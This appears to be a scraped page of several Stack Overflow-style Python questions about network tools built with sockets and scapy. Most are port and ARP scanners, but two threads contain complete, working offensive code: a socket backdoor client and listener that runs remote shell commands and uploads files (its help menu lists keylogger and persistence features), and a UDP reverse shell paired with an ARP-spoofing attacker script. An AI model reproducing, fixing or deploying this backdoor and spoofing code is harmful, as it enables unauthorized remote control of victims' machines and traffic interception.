Get the data from scapy command to textfile? - python

I am trying to create an ARPscanner based on scapy. I found code from the Internet and I need to modify it to save the results to a .txt file. Can anyone help me to do that?
lena = int(raw_input("Enter Number : "))
print(lena)
logging.basicConfig(format='%(asctime)s %(levelname)-5s %(message)s', datefmt='%Y-%m-%d %H:%M:%S', level=logging.DEBUG)
logger = logging.getLogger(__name__)
def long2net(arg):
if (arg <= 0 or arg >= 0xFFFFFFFF):
raise ValueError("illegal netmask value", hex(arg))
return 32 - int(round(math.log(0xFFFFFFFF - arg, 2)))
def to_CIDR_notation(bytes_network, bytes_netmask):
network = scapy.utils.ltoa(bytes_network)
netmask = long2net(bytes_netmask)
net = "%s/%s" % (network, netmask)
if netmask < 16:
logger.warn("%s is too big. skipping" % net)
return None
return net
def scan_and_print_neighbors(net, interface, timeout=1):
logger.info("arping %s on %s" % (net, interface))
try:
ans, unans = scapy.layers.l2.arping(net, iface=interface, timeout=timeout, verbose=True)
for s, r in ans.res:
line = r.sprintf("%Ether.src% %ARP.psrc%")
try:
hostname = socket.gethostbyaddr(r.psrc)
line += " " + hostname[0]
except socket.herror:
# failed to resolve
pass
logger.info(line)
except socket.error as e:
if e.errno == errno.EPERM: # Operation not permitted
logger.error("%s. Did you run as root?", e.strerror)
else:
raise
if __name__ == "__main__":
if lena == 1:
for network, netmask, _, interface, address in scapy.config.conf.route.routes:
# skip loopback network and default gw
if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
continue
if netmask <= 0 or netmask == 0xFFFFFFFF:
continue
net = to_CIDR_notation(network, netmask)
if interface != scapy.config.conf.iface:
# see http://trac.secdev.org/scapy/ticket/537
logger.warn("skipping %s because scapy currently doesn't support arping on non-primary network interfaces", net)
#continue
if net:
scan_and_print_neighbors(net, interface)
repr(network)
text_file = open("Output.txt", "w")
text_file.write(repr(network))
elif lena == 3 :
print("Bye Bye ")
I added this code to my script:
repr(network)
text_file = open("Output.txt", "w")
text_file.write(repr(network))
but it does not work, I just got a blank file.

solved :
if __name__ == "__main__":
import sys
sys.stdout = open('textout.txt', 'w')
... rest of your code here ...
sys.stdout.close()

Related

python Port scanner that reads ports from . txt

My issue is that I have a ports.txt file in it has 4 port numbers. I wish for this program to scan all port numbers specified within the txt file. currently It will only scan the first port number listed in the txt file against the 40 odd IP addresses. I hope my formatting is correct and my detail is enough. ty
import socket
import os
import sys
from datetime import datetime
import win32evtlogutil
import win32evtlog
def main():
### call step 1 function
ipList = network_addr()
# call step 2 function
portList = read_ports()
print(portList)
#call step 3 function
for ip in ipList:
for port in portList:
scan_ports(ip,port)
# call step 4 function
report_to_EventViewer(ipList[0:10], 2) # warning
#report_to_EventViewer(ipList, 1) # error
# processing inputs
# Step 1: process input 1 (subnet or network address):
def network_addr():
while True:
ip_list = []
subnet_Addr = input('Enter a Class-C Network Address or subnet with format (x.x.x): ')
subnet = subnet_Addr.split('.') # subnet is a list of 3 items (octets)
try:
if (len(subnet)==3 and 192<=int(subnet[0])<=223 and 0<=int(subnet[1])<=255 and 0<=int(subnet[2])<=255):
#return subnet_Addr
print('valid subnet: ',subnet_Addr)
for ip in range(11,40,2):
ip_temp = subnet_Addr + '.' + str(ip)
ip_list.append(ip_temp)
return ip_list
else:
value = 'wrong subnet entered'
print(value)
except ValueError:
print('wrong subnet entered, octects must be digits')
# Step 2: process input 2 (read port numbers from ports.txt):
def read_ports():
with open("ports.txt", 'r') as file_path:
port_list = []
for port in file_path:
try:
if int(port) in port_list:
print(f'port: {port} already exists')
else:
port_list.append(int(port))
except:
print(f'the port number: {port} is not a valid integer')
return port_list
else:
print('ports.txt is empty \n .... Exiting Port Scan App')
sys.exit()
# Step 3: scan ports
def scan_ports(ip,port):
# to get and format system time
dateTimeObj = datetime.now()
timeStamp = dateTimeObj.strftime("%d-%b-%Y (%H:%M:%S)")
try:
# open log file
with open("ip_port_log.txt","+r") as log:
# create client socket
socket.setdefaulttimeout(0.1)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((ip,port))
if result == 0:
data = "IP:" + ip + ":" + str(port) + " Open " + timeStamp
# write_to_console or display on screen
print(data)
# write in log file
log.write(data + "\n")
else:
data = "IP:" + ip + ":" + str(port) + " Closed/Filtered or host is offline " + timeStamp
# write_to_console or display on screen
print(data)
# write in log file
log.write(data + "\n")
# close the client socket
sock.close()
except socket.error:
print("Can't connect to IP: ", ip)
sys.exit()
except KeyboardInterrupt:
print("User pressed Ctrl+c")
sys.exit()
# Step 4: Report to Event Viewer
# output 3
def report_to_EventViewer(mylist, eventtype):
IP_EVT_APP_NAME = " CheckIPPort - IP-Port Scan Application"
IP_EVT_ID = 7040 ##According to ???
IP_EVT_CATEG = 9876 ##According to ???
IP_EVT_TYPE = win32evtlog.EVENTLOG_WARNING_TYPE # WARNING=2
IP_EVT_ERR = win32evtlog.EVENTLOG_ERROR_TYPE # ERROR=1
IP_EVT_STRS = mylist
IP_EVT_DATA = b"Scan IP Address Event Data"
win32evtlogutil.ReportEvent(IP_EVT_APP_NAME, \
IP_EVT_ID, \
eventCategory=IP_EVT_CATEG, \
eventType=eventtype, \
strings=IP_EVT_STRS, \
data=IP_EVT_DATA)
main()
you issue is in your read_ports method, you return inside the loop so it will ALWAYS only read the first one. Rewrite the method to something like:
def read_ports():
with open("ports.txt", 'r') as file_path:
port_list = []
for port in file_path:
try:
if int(port) in port_list:
print(f'port: {port} already exists')
else:
port_list.append(int(port))
except:
print(f'the port number: {port} is not a valid integer')
if not len(port_list):
print('ports.txt is empty \n .... Exiting Port Scan App')
sys.exit()
return port_list

sockets cant upload file

I am tryin to develop a script that works on the client machine sending information to the server and uploading&downloading to/from client machine. However, when I try to upload a file, I see in my server machine that the file is sending the file but the client doesn't receive and shows no error. uploading code worked properly before I implemented into my main code. Sorry if there is misunderstanding in my explanation i am new at stackoverflow.
every help is welcome X
import socket
from socket import *
import subprocess
import json
import os
import tqdm
path = 'C:\\Users\HP PC\Desktop'
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Client:
def __init__(self, ip, port):
self.connection = socket(AF_INET, SOCK_STREAM)
self.connection.connect((ip, port))
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1').strip()
return json.loads(json_data)
except ValueError:
continue
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def down(self):
try:
received = self.connection.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
filename = os.path.basename(filename)
filesize = int(filesize)
progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "wb") as f:
while True:
bytes_read = self.connection.recv(BUFFER_SIZE)
if not bytes_read:
break
f.write(bytes_read)
progress.update(len(bytes_read))
except Exception as e:
print(e)
def run(self):
privilege = subprocess.check_output('whoami', shell=True)
self.connection.send(privilege)
while True:
command = self.reliable_recv()
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
continue
elif command[0] == '/cls':
continue
elif command[0] == 'upload':
self.down()
continue
# elif command[:3] == "cd ":
# try:
# os.chdir(path)
# except OSError as e:
# print(e)
else:
command_result = self.execute_system_command(command)
self.reliable_send(command_result.decode("ISO-8859-1").strip())
my_backdoor = Client('192.168.8.105', 6543)
my_backdoor.run()
Here is the server code:
import json
import os
import socket
import tqdm
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Listener:
def __init__(self, bind_ip, bind_port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((bind_ip, bind_port))
server.listen(0)
print("[*] Listening on ", str(bind_ip))
self.connection, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
receive = self.connection.recv(1024)
print("[+] This is " + receive.decode('ISO-8859-1'))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode().strip())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1')
return json.loads(json_data)
except ValueError:
continue
def upload(self):
filename = "v.png"
filesize = os.path.getsize(filename)
# send the filename and filesize
self.connection.send(f"{filename}{SEPARATOR}{filesize}".encode())
# start sending the file
progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "rb") as f:
while True:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
self.connection.sendall(bytes_read)
# update the progress bar
progress.update(len(bytes_read))
def run_command(self):
while True:
command = input(">")
command = command.split(" ")
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
print('''
quit => Quit the sessison
clear => Clear the screen
cd *dirname => Change directory on target machine
upload *filename =>Upload file to target machine
download *filename =>Download file from target machine
key_start =>Start the keylogger
key_dump =>Print the keystrokes target prompted
key_stop =>Stop and self destruct keylogger file
persistance *RegName* *filename =>Persistance in reboot
''')
continue
elif command[:3] == 'cd ':
pass
elif command[0] == 'upload':
self.upload()
continue
elif command[0] == '/cls':
os.system('cls')
continue
self.reliable_send(command)
result = self.reliable_recv()
print(result)
my_listener = Listener('192.168.8.105', 6543)
my_listener.run_command()
it doesnt show any errors and rest of the code is working properly.
Upload and download functions worked properly when I tried to test
but didnt work when i tried to implement into my main code

How to handle rm and cp commands in a reverse shell

i'm creating a reverse shell for a linux backdoor for fun, and I got it working to a point. Most commands work like "cd", "ifconfig", and "ls". But commands like "cp" and "rm" work on the victim computer, but I don't get any output on my side (the attacker), I get this error when I try to "rm" or "cp":
Can you guys help me try and handle this? I know cp doesn't actually output anything, and my program expects an output. Even though I get this error on my end, when I look at the victim I can still see the action (cp, or rm) go through. Another alternative is whenever I get this error, I can get my program to just prompt for a command again.
Any help would be sick!
Attacker code:
import sys
import socket
import threading
import time
from logging import getLogger, ERROR
from scapy.all import *
getLogger('scapy.runtime').setLevel(ERROR)
try:
victimIP = raw_input('Enter victim IP: ')
spoofIP = raw_input('Enter IP you want to spoof: ')
IF = raw_input('Enter network interface: ')
except KeyboardInterrupt:
print '[!] User Interrupted Input'
sys.exit(1)
conf.verb = 0
def getMAC():
try:
pkt = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = victimIP), timeout = 2, iface = IF, inter = 0.1)
except Exception:
print '[!] Failed to Resolve Victim MAC Address'
sys.exit(1)
for snd, rcv in pkt[0]:
return rcv.sprintf(r"%Ether.src%")
print '\n[*] Resolving Victim MAC Address... '
victimMAC = getMAC()
spoofStatus = True
def poison():
while 1:
if spoofStatus == False:
break
return
send(ARP(op=2, pdst=victimIP, psrc=spoofIP, hwdst=victimMAC))
time.sleep(5)
print '\n[*] Starting Spoofer Thread...'
thread = []
try:
poisonerThread = threading.Thread(target=poison)
thread.append(poisonerThread)
poisonerThread.start()
print '[*] Thread Started Successfully\n'
except Exception:
print '[!] Failed to Start Thread'
sys.exit(1)
print 'Initializing connection with victim...'
pkt1 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='hello victim'))
pkt2 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='report'))
prompt = pkt2.getlayer(Raw).load
print 'Initialization Complete'
print '[*] Enter "goodbye" to Stop Connection\n'
while 1:
command = raw_input(prompt)
sendcom = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load=command))
output = sendcom.getlayer(Raw).load
if command.strip() == 'goodbye':
print '\nGrabbing Threads...'
spoofStatus = False
poisonerThread.join()
sys.exit(1)
print output
Victim code:
import socket
import os
import sys
import platform
def launch():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', 77))
launch = s.recvfrom(1024)
addr = launch[1][0]
port = launch[1][1]
s.sendto('hello paul', (addr, port))
return s, addr, port
s, addr, port = launch()
def getsysinfo():
que = s.recvfrom(1024)
prompt = []
if que[1][0] == addr and que[1][1] == port:
if os.getuid() == 0:
prompt.append('root#')
prompt.append('# ')
else:
prompt.append('user#')
prompt.append('$ ')
prompt.insert(1, platform.dist()[0])
s.sendto(''.join(prompt), (addr, port))
return
getsysinfo()
def shell():
while 1:
try:
command = s.recv(1024)
if command.strip().split()[0] == 'cd':
os.chdir(command.strip('cd '))
s.sendto('Changed Directory', (addr, port))
elif command.strip() == 'goodbye':
s.sendto('Goodbye paul', (addr, port))
s.close()
break
else:
proc = os.popen(command)
output = ''
for i in proc.readlines():
output += i
output = output.strip()
s.sendto(output, (addr, port))
except Exception:
s.sendto('An unexpected error has occured', (addr, port))
pass
shell()
I fixed it by adding this bit of code:
try:
output = sendcom.getlayer(Raw).load
except AttributeError:
continue

Python Port Scanner edit

I've been editing this port scanner for an information security project.
The code works but throws errors (Pycharm Edu) on lines 63 and 34 in that order.
The error message for line 63 is: 'line 63, in
checkhost(target). I've looked at this and can't see why this would throw an error specifically as it is defined on line 34.
The error message for line 34 is: 'NameError: global name 'conf' is not defined'. It's not clear why this is a problem either.
Any help is much appreciated.
The Python code environment is Python 2.7.10
#! /usr/bin/python
from logging import getLogger, ERROR # Import Logging Things
getLogger("scapy.runtime").setLevel(ERROR) # Get Rid if IPv6 Warning
import scapy
import sys
from datetime import datetime # Other stuff
from time import strftime
try:
target = raw_input("[*] Enter Target IP Address: ")
min_port = raw_input("[*] Enter Minumum Port Number: ")
max_port = raw_input("[*] Enter Maximum Port Number: ")
try:
if int(min_port) >= 0 and int(max_port) >= 0 and
int(max_port) >= int(min_port): # Test for valid range of ports
pass
else: # If range didn't raise error, but didn't meet criteria
print "\n[!] Invalid Range of Ports"
print "[!] Exiting..."
sys.exit(1)
except Exception: # If input range raises an error
print "\n[!] Invalid Range of Ports"
print "[!] Exiting..."
sys.exit(1)
except KeyboardInterrupt: # In case the user wants to quit
print "\n[*] User Requested Shutdown..."
print "[*] Exiting..."
sys.exit(1)
ports = range(int(min_port), int(max_port)+1)
start_clock = datetime.now() # Start clock for scan time
SYNACK = 0x12 # Set flag values for later reference
RSTACK = 0x14
def checkhost(target): # Function to check if target is up
conf.verb = 0 # Hide output
try:
ping = sr1(IP(dst = ip)/ICMP()) # Ping the target
print "\n[*] Target is Up, Beginning Scan..."
except Exception: # If ping fails
print "\n[!] Couldn't Resolve Target"
print "[!] Exiting..."
sys.exit(1)
def scanport(port): # Function to scan a given port
try:
srcport = RandShort() # Generate Port Number
conf.verb = 0 # Hide output
SYNACKpkt = sr1(IP(dst = target)/TCP(sport = srcport,
dport = port,flags = "S"))
pktflags = SYNACKpkt.getlayer(TCP).flags
if pktflags == SYNACK: # Cross reference Flags
return True # If open, return true
else:
return False
RSTpkt = IP(dst = target)/TCP(sport = srcport, dport = port,
flags = "R") # Construct RST packet send(RSTpkt)
except KeyboardInterrupt: # In case the user needs to quit
RSTpkt = IP(dst = target)/TCP(sport = srcport, dport = port,
flags = "R") send(RSTpkt)
print "\n[*] User Requested Shutdown..."
print "[*] Exiting..."
sys.exit(1)
checkhost(ip) # Run checkhost() function from earlier
print "[*] Scanning Started at " + strftime("%H:%M:%S") + "!\n"
for port in ports: # Iterate through range of ports
status = scanport(port) # Feed each port into scanning function
if status == True: # Test result
print "Port " + str(port) + ": Open" # Print status
stop_clock = datetime.now() # Stop clock for scan time
total_time = stop_clock - start_clock # Calculate scan time
print "\n[*] Scanning Finished!" # Confirm scan stop
print "[*] Total Scan Duration: " + str(total_time) # Print scan time
The problem is with your import statement, it should
be:
>>> import scapy
>>> from scapy.all import conf
>>> conf.verb = 0
or even better to get rid of possible similar errors in the future
just import scapy as:
>>> from scapy.all import *
>>> conf.verb = 0
Now it should work fine.

Python scan for network IP addresses and macs

ip a output screenshotI am trying to create a script that scans a LAN and obtains the ip address and mac address of all the machines using Python. The script below does this, however it prints the list twice? How could this be achieved, or how could the script below be changed to print the list once(as a dictionary where the ip address is the key and the mac is the value)?
from __future__ import absolute_import, division, print_function
import logging
import scapy.config
import scapy.layers.l2
import scapy.route
import socket
import math
import errno
logging.basicConfig(format='%(asctime)s %(levelname)-5s %(message)s', datefmt='%Y-%m-%d %H:%M:%S', level=logging.DEBUG)
logger = logging.getLogger(__name__)
def long2net(arg):
if (arg <= 0 or arg >= 0xFFFFFFFF):
raise ValueError("illegal netmask value", hex(arg))
return 32 - int(round(math.log(0xFFFFFFFF - arg, 2)))
def to_CIDR_notation(bytes_network, bytes_netmask):
network = scapy.utils.ltoa(bytes_network)
netmask = long2net(bytes_netmask)
net = "%s/%s" % (network, netmask)
if netmask < 16:
logger.warn("%s is too big. skipping" % net)
return None
return net
def scan_and_print_neighbors(net, interface, timeout=1):
logger.info("arping %s on %s" % (net, interface))
try:
ans, unans = scapy.layers.l2.arping(net, iface=interface, timeout=timeout, verbose=True)
for s, r in ans.res:
line = r.sprintf("%Ether.src% %ARP.psrc%")
try:
hostname = socket.gethostbyaddr(r.psrc)
line += " " + hostname[0]
except socket.herror:
# failed to resolve
pass
logger.info(line)
except socket.error as e:
if e.errno == errno.EPERM: # Operation not permitted
logger.error("%s. Did you run as root?", e.strerror)
else:
raise
if __name__ == "__main__":
for network, netmask, _, interface, address in scapy.config.conf.route.routes:
# skip loopback network and default gw
if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
continue
if netmask <= 0 or netmask == 0xFFFFFFFF:
continue
net = to_CIDR_notation(network, netmask)
if interface != scapy.config.conf.iface:
# see http://trac.secdev.org/scapy/ticket/537
logger.warn("skipping %s because scapy currently doesn't support arping on non-primary network interfaces", net)
continue
if net:
scan_and_print_neighbors(net, interface)
Have you tried setting verbose to False?
ans, unans = scapy.layers.l2.arping(net, iface=interface, timeout=timeout, verbose=False)
In addition to setting verbose=False in your scapy.layers.l2.arping(,
import the conf module:
from scapy.all import conf
And add conf.verb=0 just below your if __name__ == "__main__": line:
if __name__ == "__main__":
conf.verb=0
for network, netmask, _, interface, address in scapy.config.conf.route.routes:
# skip loopback network and default gw
if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
continue
EDIT: I think your script is looping once for each "route" defined in your /proc/net/route that hasn't already been explicitly filtered out (i.e. the lines above your continue commands.) My guess is that if you where to execute route -n you'll probably find 2 routes in there that somehow have the same Network and Interface values but something else is differing like Netmask or Gateway.
Anyways, the hackish way to get pass this is to add a break after your call to scan_and_print_neighbors(net, interface) to exit the for-loop.
For example:
if __name__ == "__main__":
for network, netmask, _, interface, address in scapy.config.conf.route.routes:
# skip loopback network and default gw
if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
continue
if netmask <= 0 or netmask == 0xFFFFFFFF:
continue
net = to_CIDR_notation(network, netmask)
if interface != scapy.config.conf.iface:
# see http://trac.secdev.org/scapy/ticket/537
logger.warn("skipping %s because scapy currently doesn't support arping on non-primary network interfaces", net)
continue
if net:
scan_and_print_neighbors(net, interface)
break

Categories

Resources